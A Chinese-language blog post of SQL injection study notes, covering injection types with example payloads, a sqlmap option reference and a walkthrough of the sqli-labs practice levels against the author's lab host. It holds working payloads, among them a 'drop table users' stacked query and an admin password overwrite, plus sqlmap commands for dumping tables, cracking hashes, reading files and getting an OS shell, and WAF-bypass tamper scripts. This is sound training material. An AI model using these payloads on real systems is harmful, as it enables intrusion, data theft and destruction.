sql注入笔记
暂时还在更新,博主比较懒,请提醒它及时完成 sqli-labs
SQL 注入基础
基于错误的注入
基于错误的注入,或者说基于报错的注入,是指通过构造特定的 SQL 语句使得数据库软件执行错误,随后服务端将错误反馈到用户端以暴露出特定信息的攻击方式。
一种情况是通过构造错误的参数,使得一些 SQL 语句的错误直接回显在页面上,暴露一些 SQL 语句信息便于使用特定的攻击手段;
另一种情况是后台没有对一些具有报错功能的函数进行过滤,使得一些关键信息被直接被以报错的形式携带到页面上。
二者的前提都基于 WEB 应用程序未关闭数据库的报错函数。
比如说在 sqli-labs 的 Less-1 中,通过单引号引起报错,得到类似的错误回显
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 |
暴露出大致 SQL 查询语句可能为
1 | SELECT * from users WHERE id='$id' LIMIT 0,1 |
便于构造特定的攻击参数。
又或者是通过特定函数,比如说通过双查询的方式引起某个函数报错,使得错误回显携带关键信息,比如说参数
1 | ?id=-1' AND (SELECT 1 FROM (SELECT count(*) ,concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+ |
通过 floor(rand(0)*2))
语句使得键按 010 的方式生成,导致
GROUP BY
查询到重复的键引发报错,回显为
1 | Duplicate entry '::security::1' for key '' |
这样就将我们想要的 database()
的值携带出来了。
基于布尔值的盲注
但有时页面不一定会发生数据上的改变,比如说登陆页面,在查询账户密码进行比对后,页面只会有登陆成功和登陆错误(布尔值的真与假)两种变化,从而没办法直接获取到数据本身。
这个时候我们可以通过构造表达式完成注入,例如将语句构造成仅当布尔值成立时,查询才会有结果,从而使得页面回显为真,通过多次注入,最终间接获取到目标数据。
例如可以构造参数
1' AND length(database())=1 --+
,通过不断改变比较的数字,来猜测数据库名的长度。
基于时间的盲注
有时页面完全没有变化,又或者是页面为 SQL 语句加入了一些过滤导致其他注入方式无法成功时,就可以考虑时间盲注。
基于布尔值盲注的原理,我们将布尔值的变化从用户端页面的变化转移到服务端时间的变化,这就是时间盲注原理。
最常用的方式就是在 SQL 语句中注入 sleep
函数,在布尔值为真时使得服务端 IO
时间增加到异常的情况(我们可以判断的情况,例如延时 5
秒),这样就完成了一次时间盲注。
例如可以构造参数
1' AND if(length(database())=1,sleep(5),1) --+
,通过不断改变比较的数字,来猜测数据库名的长度。
基于 UNION
查询的注入
UNION
查询注入,也称为联合查询注入,是一种常见的 SQL
注入技术。它利用了 SQL 中 UNION
关键字的特性,允许合并两个或多个 SELECT
查询的结果,并将它们作为单个结果返回。
举例来说,在一个查看所有用户的界面中,通常会对 users
表执行查询并返回结果。攻击者可以通过在原始查询中注入恶意的
UNION
语句,将其他表的查询结果合并到原始结果中。这样,攻击者就可以越权查询其他表的数据,从而获取敏感信息或执行其他恶意操作。
例如说参数
1' UNION SELECT user(),database() --+
,我们就可以在回显中查看到用户名和数据库名。
堆叠查询注入
堆叠查询可以同时执行多条 SQL 查询语句,通过注入恶意的 SQL 查询来实现对数据库的控制。
同时堆叠查询也被称为 piggy backing,是因为堆叠查询的恶意语句是直接搭载在正常查询内容之后的。
堆叠查询的核心在于不一定需要改变原查询语句来构建复杂的参数,因为常常我们的输入是有长度限制的(例如用户名的长度限制),通过堆叠查询的方式可以减轻参数的复杂程度,一般配合其他注入方式使用。
例如说一个攻击参数
1;drop table users; --+
,这样直接破坏了原有的数据库结构,使得服务无法正常进行。
更新、插入和删除注入
有时 SELECT
语句会被限制使用,那么此时可以利用
UPDATE
语句、INSERT
语句、DELETE
语句、updatexml()
函数等操作完成数据修改的注入。
比如说通过 UPDATE
语句修改管理员权限账户的密码,利用
INSERT
注入一个新的带有管理员权限的账户,又或者可以利用这些语句同样拥有的查询功能来联合其他的注入手段。
二次注入
攻击者将构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL 查询语句所导致的注入被称为二次注入。
例如说在修改用户名的页面将用户名编辑为恶意数据,例如说
admin' #
,那么在修改密码界面,可能的 SQL 语句为
1 | UPDATE users SET password='$new_pass' WHERE username='$user' AND password='$old_pass'; |
此时服务端获取到 admin' #
插入到 SQL 语句中,导致 SQL
语句变为
1 | UPDATE users SET password='$new_pass' WHERE username='admin' # AND password='$old_pass'; |
使得我们成功注入修改了 admin
管理用户的密码。
在这里相当于我们将一句话注入拆分成了两步,先给变量赋值,然后再将变量注入到 SQL 语句中。
这样即使后端对用户输入做了转义,但是没有考虑到服务端数据会被二次利用,也能够进行注入。
sqlmap
简介
sqlmap 是一个强大的开源渗透测试工具,可以自动执行检测和利用 SQL 注入缺陷以及接管数据库服务器的过程。它配备了强大的检测引擎、终极渗透测试仪的许多利基功能以及广泛的开关,包括数据库指纹、从数据库获取数据、访问底层文件系统以及通过输出在操作系统上执行命令和外带连接等。
sqlmap 能够监测和利用多种不同的 SQL 注入类型,包括盲注、错误注入、堆叠注入等,同时还支持通过参数精细化注入,使得其适用于各种各样的场景。
功能
通过 sqlmap -h
可以查看简要帮助,而
sqlmap -hh
可以查看详细帮助。
通过 -v
参数可以改变 sqlmap 的信息输出详细等级,默认为
1。
- 0:仅显示 Python
回溯、错误和关键消息。
-v 0
- 1:还显示信息和警告消息。
-v 1
- 2:还显示调试消息。
-v
- 3:还显示注入的有效负载。
-vv
- 4:还显示 HTTP 请求。
-vvv
- 5:还显示 HTTP 响应的标头。
-vvvv
- 6 : 还显示 HTTP
响应的页面内容。
-vvvvv
目标
sqlmap 支持单个或多个自动化渗透目标,是必须指定的参数。
-u
必须是可以访问的 URL 网络地址,形式为
http(s)://targeturl[:port]/[...]
,一般来说还需要携带 GET
参数便于 sqlmap 自动化解析。
-d
是指数据库实例,只能接受以下形式的字符串
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
(MySQL、Oracle、Microsoft SQL Server、PostgreSQL 等)DBMS://DATABASE_FILEPATH
(SQLite、Microsoft Access、Firebird 等)
例如说
mysql://admin:admin@192.168.21.17:3306/testdb
。
-l
是从类似 Burp Suite
中的代理日志文件中解析渗透目标来进行测试和注入,一般用于提供多目标。
-m
也是用于提供多目标的参数,从类似下文文件中解析多个目标进行自动化渗透
1 | www.target1.com/vuln1.php?q=foobar |
-r
从文本文件中直接载入原始 HTTP
请求,这样可以简略请求设置,例如
1 | POST /vuln.php HTTP/1.1 |
请求
sqlmap 支持对自动化渗透时的 HTTP 请求进行自定义、随机化设置。
--method
可以指定一些特定的 HTTP 请求方法,例如 RESTful
的 PUT,即 --method=PUT
;
--data
用于传递 POST 请求的数据,例如
--data="id=1"
;
--cookie
用于指定 HTTP 请求携带的 Cookie;
--drop-set-cookie
用于忽略自动化渗透时服务端发送的Set-Cookie
标头。
--user-agent
用于指定 HTTP 请求携带的 User-Agent;
--random-agent
用于随机自动化渗透时的 HTTP 请求携带的 User-Agent,来源是./data/txt/user-agents.txt
。如果注入等级
--level
高于等于 3,那么 sqlmap 还会尝试对 HTTP User-Agent 进行 SQL 注入测试。
--host
用于指定 HTTP 请求携带的 Host;
如果注入等级
--level
高于等于 5,那么 sqlmap 还会尝试对 HTTP Host 进行 SQL 注入测试。
--referer
用于指定 HTTP 请求携带的 Referer;
如果注入等级
--level
高于等于 3,那么 sqlmap 还会尝试对 HTTP Referer 进行 SQL 注入测试。
--headers
还可以指定额外的 HTTP 标头,例如
--headers="X-Forwarded-For: 127.0.0.1"
;
以上设置都可以通过 -r
参数解决,方便设置。(特殊参数除外)
--proxy
可以指定 sqlmap
进行自动化渗透时使用的代理,形式为 http://url:port
。
--timeout
设置请求超时秒数,可以是浮点数。
--skip-urlencode
有的后端 Web 服务器不遵循 RFC
标准,可以使用该参数避免 SQL 注入时的 URLEncode。
许多网站都以令牌的形式纳入反 CSRF
保护,隐藏字段值在每个页面响应期间随机设置,sqlmap
将自动尝试识别并绕过这种保护,但有一些选项--csrf-token
可--csrf-url
用于进一步微调它。
选项--csrf-token
可用于设置包含随机标记的隐藏值的名称。当网站对此类字段使用非标准名称时,这非常有用。选项--csrf-url
可用于从任意
URL 地址检索令牌值。如果易受攻击的目标 URL
首先不包含必要的令牌值,但需要从其他位置提取它,则这非常有用。
--force-ssl
强制使用 SSL/HTTPS 请求。
--eval
可以写入 Python
代码便于每次修正请求参数,因为有的请求参数可能是与注入参数强相关的,例如
1 | python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()" |
优化
--keep-alive
可以使得 sqlmap 使用持久的 HTTP(s)
连接,提高 IO 次数。
--threads
可以指定并发线程数,可设置的最大并发数为
10。
注入
sqlmap 可以通过注入参数的设置来微调自动化注入的方式。
-p
用于指定测试参数,比如说针对于 User-Agent
参数的测试,可以通过 -p "id,user-agent"
来指定测试。
而高渗透等级可能会测试一些无用参数,也可以通过 --skip
来跳过测试,例如 --skip "user-agent,referer"
。
默认情况下,sqlmap
会根据指纹判断后端的数据库管理系统,但有时会出现不准确的情况,可以使用
--dbms
强制指定对应的数据库管理系统。
同样的对于数据库管理系统的操作系统也是如此,可以使用
--os
强制指定。
--tamper
可以指定一些额外的插件脚本来混淆注入语句,可以使用 ,
连接多个 tamper 。
通过 sqlmap --list-tampers
可以列出所有 tamper
及其作用。
检测
--level
可以指定自动化渗透等级。SQL
注入方式越复杂那么渗透等级越高。
--risk
可以指定自动化渗透风险等级。有的 SQL
注入方式可能会导致服务出现异常,例如 UPDATE
语句注入可能会修改某些条目,如果在希望注入成功率增加的同时能忍受一定的风险,那么可以适当提高风险等级。
技术
--technique
可以指定自动化渗透所使用的 SQL
注入技术,可以是一个或多个字符的组合,每个字符的含义如下
B
:基于布尔的盲注E
:基于错误U
:基于联合查询S
:堆叠查询T
:基于时间的盲注Q
:内联查询
默认值为 BEUSTQ
,即
--technique=BEUSTQ
。
--time-sec
可以改变时间盲注的延时时间,默认值为 5
秒。时间降低可能会导致准确率降低,时间增加可能会导致攻击的时间成本过高。
--union-cols
可以改变 UNION 注入的列数,因为 sqlmap
默认只在 1~10 列进行测试,如果需要更高范围的测试可以使用该参数。
在某些 UNION 查询 SQL
注入情况下,需要强制在FROM
子句中使用有效且可访问的表名。例如,Microsoft
Access 需要使用此类表。如果不提供一个 UNION 查询,SQL
注入将无法正确执行(例如--union-from=users
)。
二次注入需要使用参数 --second-url
或
--second-req
指定。
指纹
sqlmap
会自动根据指纹来识别对应的数据库管理系统,可以通过-f
或
--fingerprint
来进行自动化识别, -b
或
--banner
参数可以提供更精确的结果(后者的前提是可注入)。
枚举
枚举选项可以让 sqlmap 枚举后端数据库管理系统的信息、结构和表中包含的数据,甚至可以允许自己的 SQL 语句。
-b
或 --banner
参数可以提供更精确的数据库版本结果,原理是注入 version
函数。
--current-user
可以检索数据库管理系统当前执行查询的用户。
--current-db
可以检索当前数据库名称。
--hostname
可以检索服务端主机名。
--is-dba
可以检测当前数据库用户是否为管理员用户。
--users
可以检索出所有数据库用户。
--passwords
可以列出并自动化破解数据库管理系统用户密码的哈希值。
针对 PostgreSQL 目标的示例:
1 | $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1 |
sqlmap 不仅枚举了 DBMS 用户及其密码,而且还识别出 PostgreSQL
的哈希格式,询问用户是否针对字典文件测试哈希值,并识别用户的明文密码postgres
,通常是DBA
以及其他用户、testuser
密码。
此功能已在所有可以枚举用户密码散列的 DBMS 中实现,包括 2005 年前后的 Oracle 和 Microsoft SQL Server。
您还可以提供选项 -U
来指定要枚举并最终破解密码哈希的特定用户。如果您提供CU
用户名,它会将其视为当前用户的别名,并检索该用户的密码哈希。
--privileges
可以检索当前数据库用户权限,也可以通过
-U
指定特定用户。
--dbs
可以检索出所有数据库。
--tables
可以检索出数据库中的所有表(table),如果没有使用 -D
指定数据库名字,那么将列出所有,--exclude-sysdbs
可以排除所有系统数据库的表。
--columns
可以检索出表中所有的列(column),如果没有使用
-D
指定数据库名,没有使用 -T
指定表名,那么将列出所有(或相匹配的)。
--schema
可以检索所有数据库、表和列及其各自的类型并一起展示,使用
--exclude-sysdbs
忽略系统数据库。
针对 MySQL 目标的示例:
1 | $ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema--batch --exclude-sysdbs |
--dump
可以转储指定数据库(-D
),指定表(-T
)的内容,还有更多参数具体可以查看帮助信息。
--dump-all
可以一次性转出整个数据库。
--sql-query
和 --sql-shell
可以运行任意 SQL
语句,还可以启动 sql shell 的模式。
爆破
在某些情况下,switch--tables
不能用于检索数据库的表名。这些案例通常属于以下类别之一:
- 数据库管理系统是 MySQL <
5.0,
information_schema
不可用。 - 数据库管理系统是 Microsoft
Access,系统表
MSysObjects
不可读 - 默认设置。 - 会话用户没有对存储数据库方案的系统表的读取权限。
那么可以尝试使用 --common-tables
来进行一定的暴力攻击以检测数据库中是否存在某些常见的表(名)。
参数来自于
data/txt/common-tables.txt
,可以自行向该字典中添加新的值。
同理,--columns
也可能无法使用,使用
--common-columns
也可以进行一定的暴力攻击。
参数来自于
data/txt/common-columns.txt
,可以自行向该字典中添加新的值。
任意文件读写
某些版本下的数据库管理系统可能存在权限缺陷,可以访问、读取、写入服务器中指定文件。
--file-read
可以指定一个路径进行读取,针对 Microsoft SQL
Server 2005 目标检索二进制文件的示例:
1 | $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1 |
--file-write
和 --file-dest
可以写入文件,前者指定本地文件路径,后者指定服务器路径。
针对 MySQL 目标上传二进制 UPX 压缩文件的示例:
1 | $ file /software/nc.exe.packed |
命令执行
某些版本下的数据库管理系统可能存在权限缺陷,可以在数据库服务器的底层操作系统上运行任意命令。
--os-cmd
接管 Windows
系统的命令执行,--os-shell
接管 Linux 系统的命令执行。
甚至可以通过一些 PWN 攻击手段进行命令执行。
注册表访问
具体查看帮助:
1 | Windows registry access: |
常规选项
sqlmap 自动为每个目标在专用输出目录中创建一个持久会话 SQLite
文件,其中存储会话恢复所需的所有数据。如果用户想要显式设置会话文件位置(例如,将多个目标的会话数据存储在一个位置),可以使用
-s
指定路径。
-t
可以指定一个文本文件来输出 HTTP 流量日志。
如果参数传递需要进行 base64 编码,可以使用 --base64
指定参数名。
使用示例(注:Base64('{"id": 1}') == 'eyJpZCI6IDF9'
):
1 | $ python sqlmap.py -u http://192.168.22.128/sqlmap/mysql/get_base64?value=eyJpZCI6IDF9 -v 5 --base64=value |
--charset
可以强制盲注字符集,一般是为了减少字符集大小来加快数据检索,例如
--charset="0123456789abcdef"
预期请求数量比常规运行少大约
30%。
--crawl
会自动爬取目标 URL
下的子网页并进行渗透测试,需要指定一个爬取深度,例如
--crawl=3
。
--hex
会强制使用十六进制函数进行攻击。
--output-dir
可以指定输出目录,否则会在默认 Temp
目录中输出。
--alert
检测到成功注入后会发出警报,--beep
会发出蜂鸣声。
针对于某些特定的手机 APP 后端,可能会约束使用手机 UA
进行请求,可以使用 --mobile
进行指定。
--flush-session
可以强制刷新 sqlmap 的缓存,因为 sqlmap
上一次攻击的方法针对 version
可以成功,但不代表其针对
--dbs
也可以成功,所以需要强制刷新缓存。
sqli-labs
使用 docker 镜像 c0ny1/sqli-labs
进行渗透学习。
使用 sqlmap 进行自动化渗透,目标一般定为将数据库转储即完成渗透。
Less-1
基于错误的注入,GET 单引号字符型注入。
第一步,使用 -f
参数初步注入
1 | sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-1/?id=1" -f |
可以得到回显
1 | sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests: |
其中很快速地探测出一定的注入方式和服务端的一些信息。
不妨使用 -b
获取 version
信息,回显如下
1 | web server operating system: Linux Ubuntu |
与 -f
的推测基本一致。(banner
需要成功注入获取 version
函数的信息,而
fingerprint
不需要)
那么直接进行更深一步的信息获取(用到枚举功能),比如说尝试注入
database
函数,即
1 | sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-1/?id=1" --current-db |
很轻松获取到回显
1 | current database: 'security' |
更进一步,检索 security
数据库下的表
1 | sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-1/?id=1" -D security --tables |
回显为
1 | Database: security |
更进一步,直接将 users
转储
1 | sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-1/?id=1" -D security -T users --dump |
回显为
1 | Database: security |
至此,我们成功完成一次渗透。
Less-2
基于错误的注入,GET 整型注入。
不出意外无需额外参数便可自动化渗透成功。
Less-3
基于错误的注入,但使用了 ')
闭合。
不出意外无需额外参数便可自动化渗透成功。
Less-4
基于错误的注入,GET 双引号字符型注入。
不出意外无需额外参数便可自动化渗透成功。
Less-5
基于错误的注入,GET 单引号字符型注入,没有回显的盲注。
相比较之前 sqlmap 注入的简单化,这次会提示更多的操作来便于获取更多信息。
但不出意外无需额外参数便可自动化渗透成功。
Less-6
基于错误的注入,GET 双引号字符型注入,没有回显的盲注。
不出意外无需额外参数便可自动化渗透成功。
Less-7
文件写入的注入。
如果不加额外参数,在这里 sqlmap 会通过时间盲注的注入方法,同样可以攻击成功将表转储。
虽然 sqlmap 有 --file-write
和 --file-read
的参数,但它内部的实现方法并不是通过 OUTFILE
指令,而这题的本意是想考 OUTFILE
指令,故这里给出可能的手解方式。
但
OUTFILE
不是很现实,许多数据库管理系统默认关闭该指令。
手工测试可以发现在 ?id=1')) AND 1=1--+
时成功注入,那么使用 UNION
结合 OUTFILE
将内容输出到文件中,例如
1 | ?id=1')) UNION SELECT 1,2,'flag{qsdzyyds}' INTO OUTFILE "/tmp/flag"--+ |
使用 sqlmap 的 --file-read
参数可以轻松读取文件
1 | sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-7/?id=1" --file-read "/tmp/flag" |
下载后的文件会存放在
~/.local/share/sqlmap/output/qsdz.vm.szu.moe/files/_tmp_flag
。
由于 Linux 权限问题,
OUTFILE
也不一定可以写入任意路径。
Less-8
基于布尔的盲注,GET 单引号字符型。
不出意外无需额外参数便可自动化渗透成功。
Less-9
基于时间的盲注,GET 单引号字符型。
不出意外无需额外参数便可自动化渗透成功。
Less-10
基于时间的盲注,GET 双引号字符型。
不出意外无需额外参数便可自动化渗透成功。
Less-11
基于错误的注入,POST 单引号字符型注入。
由于是 POST 传参,推荐使用 Burp Suite 抓包后,将一次 POST 传参的包保存起来,内容可能如下
1 | POST /Less-11/ |
在 Burp Suite 里右键,选择 Copy to file 即可将请求保存成文件。
尝试初步渗透
1 | sqlmap -r req.txt -b |
成功获得回显
1 | web server operating system: Linux Ubuntu |
那么忽略中间步骤,看看是否能直接转储表
1 | sqlmap -r req.txt -D security -T users --dump |
成功获得回显
1 | Database: security |
Less-12
基于错误的注入,POST 双引号字符型注入。
不出意外无需额外参数便可自动化渗透成功。
Less-13
基于错误的注入,POST 单引号括号闭合字符型注入。
不出意外无需额外参数便可自动化渗透成功。
Less-14
基于错误的注入,POST 双引号括号闭合字符型注入。
不出意外无需额外参数便可自动化渗透成功。
Less-15
基于布尔的时间盲注,POST 单引号字符型注入。
不出意外无需额外参数便可自动化渗透成功。
Less-16
基于布尔的时间盲注,POST 双引号字符型注入。
不出意外无需额外参数便可自动化渗透成功。
Less-17
基于错误的注入,UPDATE
注入。
不出意外无需额外参数便可自动化渗透成功。
Less-18
基于错误的注入,基于 User-Agent 的注入。
原理是 User-Agent 也被当做输入插入到 SQL 语句中。
此时 sqlmap 需要调整渗透等级,在渗透等级小于 3 时是不会对 User-Agent 的注入进行测试的。
1 | sqlmap -r req.txt -f --level 3 |
可以在 sqlmap 的回显中发现
1 | sqlmap identified the following injection point(s) with a total of 4670 HTTP(s) requests: |
其识别了 User-Agent 参数有注入的可能,而且是基于错误的注入方式。
在检测出是此参数后,之后无需再携带 --level 3
参数。
1 | sqlmap -r req.txt -D security -T users --dump |
同样,表被我们转储出来了。
1 | Database: security |
Less-19
基于错误的注入,基于 Referer 的注入。
原理是 Referer 也被当做输入插入到 SQL 语句中。
类似于 Less-18,Referer
的自动化检测也需要渗透等级大于等于 3。
1 | sqlmap identified the following injection point(s) with a total of 5451 HTTP(s) requests: |
sqlmap 成功检测出 Referer 可以被注入。
Less-20
基于错误的注入,基于 Cookie 的注入。
原理是 Cookie 也被当做输入插入到 SQL 语句中。
不同于 Less-18、Less-19,Cookie 是需要设置才会有的,所以保存的请求中必须存在设置的 Cookie。
Cookie 需要在渗透等级大于等于 2 时才会自动检测。
1 | sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests: |
Less-21
基于 base64 编码单引号的 Cookie 注入。
如果说传递的参数不是 base64 形式的,会引发后台报错而无法正常执行 SQL 语句,此时可以使用 tamper 自动化处理 sqlmap 生成的参数。
其中 base64encode
满足我们的需求。
1 | sqlmap -r req.txt -b --level 2 --tamper base64encode |
Less-22
基于 base64 编码双引号的 Cookie 注入。
与 Less-21 一致。
Less-23
基于错误的注入,含有对注释符的 WAF。
不影响 sqlmap 的自动化注入,与 Less-1 类似。
Less-24
二次注入。
由于网页逻辑较为复杂,不编写任何脚本使用 sqlmap 暂时无法完全自动化注入,这里提供手注思路。
登陆后的页面是修改密码的功能,那么考虑其使用 UPDATE
进行修改密码,那么其中 WHERE
匹配的是目前的用户名,如果说先对目前的用户名进行注入,随后在修改密码的界面提交表单完成注入。
sqlmap 无法进行自动化注入的原因在于,需要先登录获得一个 Cookie 才可以进入修改密码的界面。
那么可以写一个 tamper
脚本,在第一个页面请求的时候,保存注册的用户名和密码(由 sqlmap
提供的攻击负载),在第二个页面请求之前,先用之前保存的用户名和密码请求获取一个
Cookie 保存在文件中,通过 --live-cookies
传递 Cookie。
可以参考 https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap
Less-25
基于错误的注入,含有对 OR
和 AND
的
WAF。
对 sqlmap 的注入有一定影响,因为 or
常出现在正常的单词中,例如 password
,此时需要写一个新的
tamper,双写 tamper 脚本如下
1 | #!/usr/bin/env python |
由于无脑双写容易造成执行错误,故这里仅指定关键字 AND
和
OR
。
将该脚本保存在 ./tamper
目录下,执行下行命令即可。
1 | sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-25/?id=1" -D security -T users --dump --tamper doublewrite |
Less-25a
双写后与 Less-25 一致。
Less-26
含有对 OR
、AND
以及空格,注释符的 WAF。
原理是使用其他 MySQL 可解析的空白字符来替代空格,
符号 | 说明 |
---|---|
%09 | TAB 键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键(垂直) |
%a0 | 空格 |
但是有时针对不同系统,不同版本的管理系统,使用 sqlmap 自带的
space2mysqlblank
可能会出现错误(某些空白字符并不会解析,而该 tamper
是随机选择的),故需要写一个稳定的版本,即
1 | #!/usr/bin/env python |
全文复制粘贴自
space2mysqlblank
,修改了部分内容,将空白字符设定为固定值,通过修改
bVal
来逐步测试,命名为
space2stablemysqlblank
。(这是 sqlmap
的缺点,希望之后可以返回多 payload)
1 | sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-26/?id=1" -b --tamper space2stablemysqlblank,doublewrite |
Less-26a
类似于 Less-26。
Less-27
含有对 SELECT
、UNION
以及空格,注释符的
WAF。
由于 SELECT
和 UNION
的过滤对大小写不敏感,于是可以使用自带的 randomcase
tamper
进行注入。
1 | sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-27/?id=1" -b --tamper space2stablemysqlblank,randomcase |
Less-27a
类似于 Less-27,不过要开启渗透等级大于等于 2,因为渗透等级为 1 时不进行双引号闭合测试。
1 | sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-27a/?id=1" -b --tamper space2stablemysqlblank,randomcase --level 2 |
由于开启了
randomcase
,盲注时有可能会出现一定错误,需要注意。
Less-28
含有对 SELECT+UNION
以及空格,注释符的 WAF。
与 Less-27 一致。
1 | sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-28/?id=1" -b --tamper space2stablemysqlblank,randomcase |
Less-28a
与 Less-28 一致。
Less-29
无需任何参数。
实际上利用方式是其 WAF 函数只过滤一个
id
参数就退出,如果说构造一个 GET 参数?id=1&id=2
,Tomcat JSP 会解析第一个参数,Apache PHP 会解析最后一个参数,那么两个id
参数即可绕过。
Less-30
闭合方式相比较 Less-29 使用了双引号,所以需要提高渗透等级为 2 以上。
Less-31
与 Less-30 类似。
Less-32
将 \
转化为 \\
,将 '
转化为
\'
,将 "
转化为 \"
。
原理是使用 %df
将字符转化为宽字节,无法被正则表达式匹配,但可以被数据库管理系统识别。
1 | sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-32/?id=1" --dbs --tamper unmagicquotes |
Less-33
利用 addslashes
功能实现 Less-32
的过滤方法,解决方法同理。
Less-34
与 Less-33 的过滤方法一致,不过此时是 POST 传参,解决方法同理。
Less-35
与 Less-33 的过滤方法一致,不过此时是整型传参,解决方法同理。
Less-36
使用 mysql_real_escape_string
进行转义,主要针对
\x00
,\n
,\r
,'
,"
和 \x1a
,解决方法同理。
Less-37
与 Less-36 的过滤方法一致,不过此时是 POST 传参,解决方法同理。
数据库软件特点
MySQL
在 MySQL 中,会默认存在两个库 mysql
和
information_schema
。
其中 information_schema
这个库保存着 MySQL
的所有信息,重要的是,information_schema
包含以下几个重要的表:
SCHEMATA
→ 包含所有SCHEMA_NAME
,即所有的库名,包括本身TABLES
→ 包含所有TABLE_NAME
,即所有的表名,包括本身COLUMNS
→ 包含所有的COLUMN_NAME
,即所有的字段名,包括本身
COLUMNS
表里有着几个重要的字段名:
TABLE_SCHEMA
→ 库名TABLE_NAME
→ 表名COLUMN
→ 字段名